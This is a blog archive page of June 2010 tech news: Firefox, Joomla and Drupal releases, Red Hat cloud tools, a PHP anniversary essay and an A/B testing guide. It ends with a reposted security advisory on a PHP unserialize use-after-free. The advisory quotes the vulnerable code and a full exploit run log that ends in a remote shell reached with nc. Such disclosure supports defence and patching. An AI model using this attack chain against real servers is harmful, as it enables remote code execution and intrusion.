Archive for June, 2010

Firefox Update Gives Flash 45 Seconds to respond, or else get shut down.

Mozilla has released Firefox 3.6.6, an incremental update which tweaks the way the browser handles misbehaving plug-ins, giving Flash and other plug-ins 45 seconds to respond, or else get shut down.


1277882550_Firefox Just a couple of weeks ago, Firefox 3.6.4 was released. It included a new Crash Protection feature that keeps plug-ins like Flash and Silverlight isolated into separate processes. If a plug-in hangs or crashes, it won’t cause the entire browser to crash with it. Firefox only lets the plug-in remain unresponsive for 10 seconds, then it shuts the process down. (This feature is only available in the Windows and Linux version of Firefox, Mac users will have to wait for a future update).

Firefox 3.6.6 extends the amount of time Firefox will wait before terminating unresponsive plug-ins. Mozilla upped the limit to 45 seconds. Apparently, the 10-second timeout limit proved too short for many users — Flash routinely hangs for more than 10 seconds without crashing.

Isolating plug-ins is actually just the beginning. Mozilla’s larger plan is to apply “out-of-process” handling, as the more general feature is known, to all add-ons and even tabs, making Firefox considerably more stable. Once that feature is enabled, each web app would be cordoned off inside its own tab. If one page or app crashes, that single tab simply closes and the rest of the browser keeps cooking along as usual.

Isolated tabs won’t arrive until Firefox 4, which is slated for later this year.

This feature was popularized by Google Chrome, and it’s now being added into other browsers. It also started becoming a standard feature across browsers just as Flash began feeling the renewed heat over performance issues. Even though Adobe recently released a new version of its Flash Player software specifically to address many of these issues, it remains under scrutiny thanks to Apple’s decision to ban Flash from the iPad, and its campaign to get web developers to build rich apps using web standards instead of Flash.

Firefox 3.6.6 was released over the weekend, and it should be an automatic update. If your copy of Firefox hasn’t automatically applied it yet, you can force Firefox to update using the “Check for Updates” menu item, or head to the Mozilla downloads page and grab the latest version.

Read at source by

By Scott Gilbertson

Joomla 1.6 Beta 4 Now Available

The Joomla Project is proud to announce the immediate availability of Joomla 1.6 beta 4 (download). IMPORTANT NOTE: This is a beta version and is not intended to run any type of production site. It is intended to be used for evaluation purposes only.

Since the Joomla 1.6 beta 3 release on Jun 14, we have fixed approximately 103 issues in the tracker. Much of this progress is directly related to the stepped up efforts of the Joomla! Bug Squad. Thanks for all your hard work in bringing us one increment closer to stable!

See the CHANGELOG for details of what has been changed in this release.

What’s next?

This is the fourth in our series of continuous betas. Beta 5 will be released on July 12, 2010.

Download here:

Drupal 6.17 released

Drupal 6.17, a maintenance release fixing issues reported through the bug tracking system, is now available for download. There are no security fixes in this release. Upgrading your existing Drupal 6 sites is recommended. For more information about the Drupal 6.x release series, consult the Drupal 6.0 release announcement.

Highlights of changes in this release include improvements of session cookie handling, better processing of big XML-RPC payloads, improved PostgreSQL compatibility, better PHP 5.3 and PHP 4 compatibility, improved Japanese support in search module, better browser compatibility of CSS and JS aggregation and improved logging for login failures. An incompatibility of Drupal 6.16’s new lock subsystem with some contributed modules was also resolved. In total there were about 55 patches committed to improve Drupal 6.

The full list of changes between the 6.16 and 6.17 releases can be found by reading the 6.17 release notes. A complete list of all bug fixes in the stable DRUPAL-6 branch can be found at

Given enough bug fixes (not just bug reports) more maintenance releases will be made available.

Incompatible changes

Drupal 6.17 introduces the following incompatible changes.

Session handling

Drupal 6.17 changes the way session cookies are handled. Most people don’t need to have this setting set, but if you have an explicit$cookie_domain set in settings.php, verify that it is set to a sensible value:

  • '' if you want sessions to apply to the domain, and none of its sub-domains (especially not,
  • '' if you want sessions to apply to the domain, and none of its sub-domains nor parent domains (especially not,
  • '' if you want sessions to apply to the domain and all its subdomains (, etc.).

Download Drupal 6.17

Read at source

Red Hat releases cloud computing software tools

Clouds get open source support
By Spencer Dalziel
LEADING LINUX VENDOR Red Hat has announced the release of several cloud computing tools in what it calls Cloud Foundation: Edition One.

The company said its customers can build private clouds using Red Hat Enterprise Virtualization or VMware ESX Server. They can run and manage their own cloud datacentres or use Red Hat certified public cloud services like Amazon EC2. Customers can also use Red Hat’s open source interoperable cloud architecture so they won’t be tied to a single cloud computing service provider’s stack.

Red Hat claims Edition One is the first of several cloud offerings that will give its customers everything they’ll need to build and manage a private cloud software infrastructure.

“Just as we made Linux a safe place to run mission-critical applications with Red Hat Enterprise Linux, we are focused on making the cloud a safe place for enterprise applications,” said Scott Crenshaw, VP and general manager of Red Hat’s cloud business unit.

“Red Hat is at the forefront of the industry with a broad portfolio of enterprise cloud solutions, and is driving the expansion of the cloud for new users, from developers to enterprises, with our expanded cloud offerings available today,” he observed.

PHP: the teenage years – just turned fifteen

For some value of the word “turned,” PHP just turned fifteen. Wow.I still vaguely remember when I turned fifteen—“rebellious,” “obnoxious” and “bad haircut” are all words that come to mind. But those were also very exciting years, full of hopes, possibilities and the knowledge that, in merely a few years’ time, I would have been able to make the roads a little less safe (in Italy, you have to be eighteen to drive, thankfully).

Milestones are not as important in our industry as they are in our lives—the way I see it, if you work in the computer field and turn to look at back at what has been, someone will have passed you by—but there are some very important lessons that can be learned from the story of PHP.

As a development project, PHP has always been a little rudderless. As a programming language, it is, on the surface, an amorphous and mismatched mass of all sorts of programming paradigms and functions that are sometimes incompatible and in conflict with one another. We have one of the best array libraries in existence—but only because the language constructs that we call arrays are not, technically speaking, arrays at all. It took two major releases to have proper object orientation. And so on, and so forth.

Purists hate PHP because, they claim, it promotes bad programming practices and is, for lack of a more accurate term, a mess. But those of us who have grown to appreciate its strengths know that PHP is like the workbench in your garage: a little messy, but filled with all the tools you may ever need to do any job imaginable. You can’t blame the workbench if you decide to drive a screw into the wall with a hammer.

As it turns fifteen, PHP and its community are like every other teenagers: sometimes lazy, sometimes brilliant, often rebellious and unfocused. The language itself has finally matured to the point where finding new functionality to add is becoming challenging and the real development work has, at least for the moment, shifted to projects that are based on PHP rather than being PHP itself. Frameworks of all complexities and sizes are thriving and occupying an ever-more-important role in our day-to-day development—although those who choose to go “naked” still have all the tools to build their applications without using anything more than what the base language provides.

Going forward, there are some real challenges. The first is going to be preventing the language from stagnating—PHP 6 is languishing to the point where so many people have worked around the issues it solves that it’s going to be difficult to continue working on it in its current state.

The other great challenge is finding a way to deal with the fragmentation that has cemented in the world of PHP frameworks. There is no clear winner in this space—even when you consider “application frameworks” like Drupal and WordPress, there are so many contenders, each with their own large community, that “supporting PHP development” is rapidly becoming a difficult proposition to make. When vendors and users decide to provide solutions for only a subset of the community, we all lose something—even those who gain the immediate benefit, because eventually they will suffer from a weakened and fragmented platform.

Happy fifteen PHP—and many returns.


A/B Testing

A/B testing isn’t a buzz term. A lot of savvy marketers and designs are using it right now to gain insight into visitor behavior and to increase conversion rate. And yet A/B testing is still not as common as such Internet marketing subjects as SEO, Web analytics and usability. People just aren’t as aware of it. They don’t completely understand what it is or how it could benefit them or how they should use it. This article is meant to be the best guide you will ever need for A/B testing.

What Is A/B Testing?

At its core, A/B testing is exactly what it sounds like: you have two versions of an element (A and B) and a metric that defines success. To determine which version is better, you subject both versions to experimentation simultaneously. In the end, you measure which version was more successful and select that version for real-world use.

This is similar to the experiments you did in Science 101. Remember the experiment in which you tested various substances to see which supports plant growth and which suppresses it. At different intervals, you measured the growth of plants as they were subjected to different conditions, and in the end you tallied the increase in height of the different plants.

A/B testing on the Web is similar. You have two designs of a website: A and B. Typically, A is the existing design (called the control), and B is the new design. You split your website traffic between these two versions and measure their performance using metrics that you care about (conversion rate, sales, bounce rate, etc.). In the end, you select the version that performs best.

What To Test?

Your choice of what to test will obviously depend on your goals. For example, if your goal is to increase the number of sign-ups, then you might test the following: length of the sign-up form, types of fields in the form, display of privacy policy, “social proof,” etc. The goal of A/B testing in this case is to figure out what prevents visitors from signing up. Is the form’s length intimidating? Are visitors concerned about privacy? Or does the website do a bad job of convincing visitors to sign up? All of these questions can be answered one by one by testing the appropriate website elements.

Even though every A/B test is unique, certain elements are usually tested:

  • The call to action’s (i.e. the button’s) wording, size, color and placement,
  • Headline or product description,
  • Form’s length and types of fields,
  • Layout and style of website,
  • Product pricing and promotional offers,
  • Images on landing and product pages,
  • Amount of text on the page (short vs. long).

Create Your First A/B Test

Once you’ve decided what to test, the next step, of course, is to select a tool for the job. If you want a free basic tool and don’t mind fiddling with HTML and JavaScript, go with Google Website Optimizer. If you want an easier alternative with extra features, go with Visual Website Optimizer. Other options are available, which I discuss at the end of this post. Setting up the core test is more or less similar for all tools, so we can discuss it while remaining tool-agnostic.

You can set up an A/B test in one of two ways:

  • Replace the element to be tested before the page loads
    If you are testing a single element on a Web page—say, the sign-up button—then you’ll need to create variations of that button (in HTML) in your testing tool. When the test is live, the A/B tool will randomly replace the original button on the page with one of the variations before displaying the page to the visitor.
  • Redirect to another page
    If you want to A/B test an entire page—say, a green theme vs. a red theme—then you’ll need to create and upload a new page on your website. For example, if your home page is, then you’ll need to create a variation located at When the test runs, your tool will redirect some visitors to one of your alternate URLs.

Once you have set up your variations using one of these two methods, the next step is to set up your conversion goal. Typically, you will get a piece of JavaScript code, which you would copy and paste onto a page that would represent a successful test were a visitor to arrive there. For example, if you have an e-commerce store and you are testing the color of the “Buy now” button, then your conversion goal would be the “Thank you” page that is displayed to visitors after they complete a purchase.

As soon as a conversion event occurs on your website, the A/B testing tool records the variation that was shown to the visitor. After a sufficient number of visitors and conversions, you can check the results to find out which variation drove the most conversions. That’s it! Setting up and running an A/B test is indeed quite simple.

Do’s And Don’ts

Even though A/B testing is super-simple in concept, keep some practical things in mind. These suggestions are a result of my real-world experience of doing many A/B tests (read: making numerous mistakes).


  • When doing A/B testing, never ever wait to test the variation until after you’ve tested the control. Always test both versions simultaneously. If you test one version one week and the second the next, you’re doing it wrong. It’s possible that version B was actually worse but you just happened to have better sales while testing it. Always split traffic between two versions.
  • Don’t conclude too early. There is a concept called “statistical confidence” that determines whether your test results are significant (that is, whether you should take the results seriously). It prevents you from reading too much into the results if you have only a few conversions or visitors for each variation. Most A/B testing tools report statistical confidence, but if you are testing manually, consider accounting for it with an online calculator.
  • Don’t surprise regular visitors. If you are testing a core part of your website, include only new visitors in the test. You want to avoid shocking regular visitors, especially because the variations may not ultimately be implemented.
  • Don’t let your gut feeling overrule test results. The winners in A/B tests are often surprising or unintuitive. On a green-themed website, a stark red button could emerge as the winner. Even if the red button isn’t easy on the eye, don’t reject it outright. Your goal with the test is a better conversion rate, not aesthetics, so don’t reject the results because of your arbitrary judgment.


  • Know how long to run a test before giving up. Giving up too early can cost you because you may have gotten meaningful results had you waited a little longer. Giving up too late isn’t good either, because poorly performing variations could cost you conversions and sales. Use a calculator  to determine exactly how long to run a test before giving up.
  • Show repeat visitors the same variations. Your tool should have a mechanism for remembering which variation a visitor has seen. This prevents blunders, such as showing a user a different price or a different promotional offer.
  • Make your A/B test consistent across the whole website. If you are testing a sign-up button that appears in multiple locations, then a visitor should see the same variation everywhere. Showing one variation on page 1 and another variation on page 2 will skew the results.
  • Do many A/B tests. Let’s face it: chances are, your first A/B test will turn out a lemon. But don’t despair. An A/B test can have only three outcomes: no result, a negative result or a positive result. The key to optimizing conversion rates is to do a ton of A/B tests, so that all positive results add up to a huge boost to your sales and achieved goals.

Classic A/B Testing Case Studies

Here are some case studies to give you an idea of how people test in the wild.

Writing Decisions: Headline Tests on the Highrise Sign-Up Page
37signals tested the headline on its pricing page. It found that “30-Day Free Trial on All Accounts” generated 30% more sign-ups than the original “Start a Highrise Account.”

“You Should Follow Me on Twitter Here” (Dustin Curtis)
This much-hyped split-test involved testing multiple versions of a call to action for Twitter followers. Dustin found that “You should follow me on Twitter here” worked 173% better than his control text, “I’m on Twitter.”

Human Photos Double Conversion Rates
A surprising conclusion from two separate A/B tests: putting human photos on a website increases conversion rates by as much as double. Scientific research backs this up, saying that we are subconsciously attracted to images with people.

Google Website Optimizer Case Study: Daily Burn, 20%+ Improvement (Tim Ferriss)
A simple variation that gave visitors fewer options too choose from resulted in a 20% increase in conversions. The winning version was also much easier on the eye than the control in its detail and text.

Two Magical Words Increased Conversion Rate by 28%
The words “It’s free” increased the clicks on this sign-up button by 28%, illustrating the importance of testing call-to-action buttons and how minor changes can have surprisingly major results.

Changing the Sign-Up Button from Green to Red
Along with its other A/B tests, CareLogger increased its conversion rate by 34% simply by changing the color of the sign-up button from green to red!

Single page vs. multi-step checkout
If you have an online store, it is quite common to see visitors abandoning the purchase process at the time of checkout. This A/B test found out that a single page checkout process works much better at completing sales than multiple-page checkout process.

“Mad Libs” style form increases conversion 25-40%
Defeating conventional wisdom, in this A/B test it was found out that a paragraph-styled form with inline input fields worked much better than traditional form layout. Though the result was probably specific to their offering as it wasn’t replicated in another, separate A/B test.

Complete redesign of product page increased sales by 20%
A software product company redesigned their product page to give it a modern look and added trust building elements (such as seals, guarentees, etc.). End result: they managed to increase total sales by 20%. This case study demonstrates the effect of design on sales.

Marketing Experiments response capture case study – triple digit increase in conversions
Through a series of A/B tests they optimized the mailing list opt-in rate by 258%. Focus was to remove all distractions and require the visitor to only provide email address. For completing his/her complete profile, the landing page motivated the visitors with an Amazon gift card (which was again split tested).

MOPS-2010-061: PHP SplObjectStorage Deserialization Use-After-Free Vulnerability

A use-after-free vulnerability was discovered in the deserialization of SPLObjectStorage objects that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.

Affected versions

Affected is PHP 5.2 <= 5.2.13
Affected is PHP 5.3 <= 5.3.2




This vulnerability was disclosed by Stefan Esser of SektionEins GmbH during the SyScan Singapore 2010 security conference.

Detailed information

PHP’s unserialize() function has had many memory corruption and use-after-free vulnerabilities in the past. Therefore it should be obvious by now that exposing it to user supplied input is not a good idea. However many widespread PHP applications directly unserialize() the content of cookies or POST requests. Especially closed source PHP applications developed for websites often use serialized user input.

In addition to that the APIs of popular services/applications like WordPress transfer serialized data over insecure HTTP connections, which makes them vulnerable to unserialize() exploits via man-in-the-middle-attacks. Even more applications deserialize the content of database fields which means SQL injection vulnerabilities can be used to launch attacks against unserialize(). As demonstrated by the MOPS-2010-060 vulnerability even simple arbitrary writes to the $_SESSION variable can result in attacks against unserialize(), too. And the story does not stop here because many more applications deserialize the content of cache files, so arbitrary file overwrite vulnerabilities can be used to launch attacks against unserialize() and lead to arbitrary code execution although everything except the cache files is not writable.

While the core of the unserialize() function was audited very heavily during the last years the SPL objects shipping with PHP and supporting deserialization have not been audited very much. Therefore it was no suprise to find a use-after-free vulnerability in the SPLObjectStorage implementation that is very similar to a vulnerability in theunserialize() core that was fixed in 2004 and disclosed by us, too.

In PHP 5.3.x the actual vulnerability is caused by the spl_object_storage_attach() function removing previously inserted extra data if the same object is inserted twice.

void spl_object_storage_attach(spl_SplObjectStorage *intern, zval *obj, zval *inf TSRMLS_DC) /* {{{ */
spl_SplObjectStorageElement *pelement, element;
pelement = spl_object_storage_get(intern, obj TSRMLS_CC);
if (inf) {
} else {
if (pelement) {
pelement->inf = inf;
element.obj = obj;
element.inf = inf;
zend_hash_update(&intern->storage, (char*)&Z_OBJVAL_P(obj), sizeof(zend_object_value), &element, sizeof(spl_SplObjectStorageElement), NULL);
zend_object_value zvalue;
memset(&zvalue, 0, sizeof(zend_object_value));
zvalue.handle = Z_OBJ_HANDLE_P(obj);
zvalue.handlers = Z_OBJ_HT_P(obj);
zend_hash_update(&intern->storage, (char*)&zvalue, sizeof(zend_object_value), &element, sizeof(spl_SplObjectStorageElement), NULL);
} /* }}} */

Because the extra data attached to the previous object is freed in case of a duplicate entry it can be used in a use-after-free attack that as demonstrated during SyScan can be used to leak arbitrary pieces of memory and or execute arbitrary code.

In PHP 5.2.x the vulnerability is similar but not exactly the same, because SPLObjectStorage is only an object set and does not store extra data. However inserting a double value with the same binary representation of an object will result in the object being freed early which again allows similar use-after-free exploits. Due to the nature of this type confusion attack the vulnerability is only exploitable on 32 bit systems for PHP 5.2.x. This restriction does not apply to PHP 5.3.x.

Proof of concept, exploit or instructions to reproduce

Due to the dangerous nature of the vulnerability, exploit code for this vulnerability will not be published. However the following is the output of a working exploit in action.

$ ./ -h http://t.testsystem/
PHP unserialize() Remote Code Execution Exploit (TikiWiki Version)
Copyright (C) 2010 Stefan Esser/SektionEins GmbH

[+] Connecting to determine wordsize
[+] Wordsize is 32 bit
[+] Connecting to determine PHP 5.2.x vs. PHP 5.3.x
[+] PHP version is 5.3.x
[+] Connecting to determine SPLObjectStorage version
[+] PHP version >= 5.3.2
[+] Determining endianess of system
[+] System is little endian
[+] Leaking address of std_object_handlers
[+] Found std_object_handlers address to be 0xb76e84a0
[+] Leaking std_object_handlers
[+] Retrieved std_object_handlers (0xb75b5c60, 0xb75b6230, 0xb75b2300, 0xb75b4c70, 0xb75b52f0, 0xb75b3fc0, 0xb75b42b0, 0xb75b4430, 0x00000000, 0x00000000, 0xb75b3c60, 0xb75b4a40, 0xb75b57a0, 0xb75b4170, 0xb75b27d0, 0xb75b4f00, 0x00000000, 0xb75b28a0, 0xb75b27a0, 0xb75b2af0, 0xb75b2830, 0xb75b46b0, 0x00000000, 0x00000000, 0xb75b2be0)
[+] Optimized to 0xb74008f0
[+] Scanning for executable header
[+] ELF header found at 0xb73ab000
[+] Retrieving and parsing ELF header
[+] Retrieving program headers
[+] Retrieving ELF string table
[+] Looking up ELF symbol: executor_globals
[+] Found executor_globals at 0xb76fe280
[+] Looking up ELF symbol: php_execute_script
[+] Found php_execute_script at 0xb75386c0
[+] Looking up ELF symbol: zend_eval_string
[+] Found zend_eval_string at 0xb7586580
[+] Searching JMPBUF in executor_globals
[+] Found JMPBUF at 0xbfcc64b4
[+] Attempt to crack JMPBUF
[+] Determined stored EIP value 0xb753875a from pattern match
[+] Calculated XORER 0x68ab06ea
[+] Unmangled stored ESP is 0xbfcc5470
[+] Checking memory infront of JMPBUF for overwriting possibilities
[+] Found 0x28 at 0xbfcc6498 (0x3e4) using it as overwrite trampoline
[+] Returning into PHP… Spawning a shell at port 4444

$ nc t.testsystem 4444
Welcome to the PHPShell 5/22/2010 1:27 am

system(“uname -a”);
Linux fedora13x86 #1 SMP Thu May 13 05:38:26 UTC 2010 i686 i686 i386 GNU/Linux
uid=48(apache) gid=484(apache) groups=484(apache) context=unconfined_u:system_r:httpd_t:s0


This vulnerability was disclosed on June 18th, 2010 at the SyScan Singapore 2010 security conference.

Among the audience of the conference was a member of the RedHat Linux Security Team that immediately forwarded the information to other people at RedHat that patched their version of PHP and shared the information and patch with the PHP developers.

Due to the nature of the bug the exploit is very similar against different applications using unserialize() however small modifications are required.

The exploitation path demonstrated at the SyScan conference will not work against PHP installations patched with theSuhosin patch. Therefore only people that have choosen to be less secure (a.k.a. running PHP without Suhosin-Patch applied) might be in immediate danger. However the vulnerability is exploitable with a more complicated exploit on systems running Suhosin, too.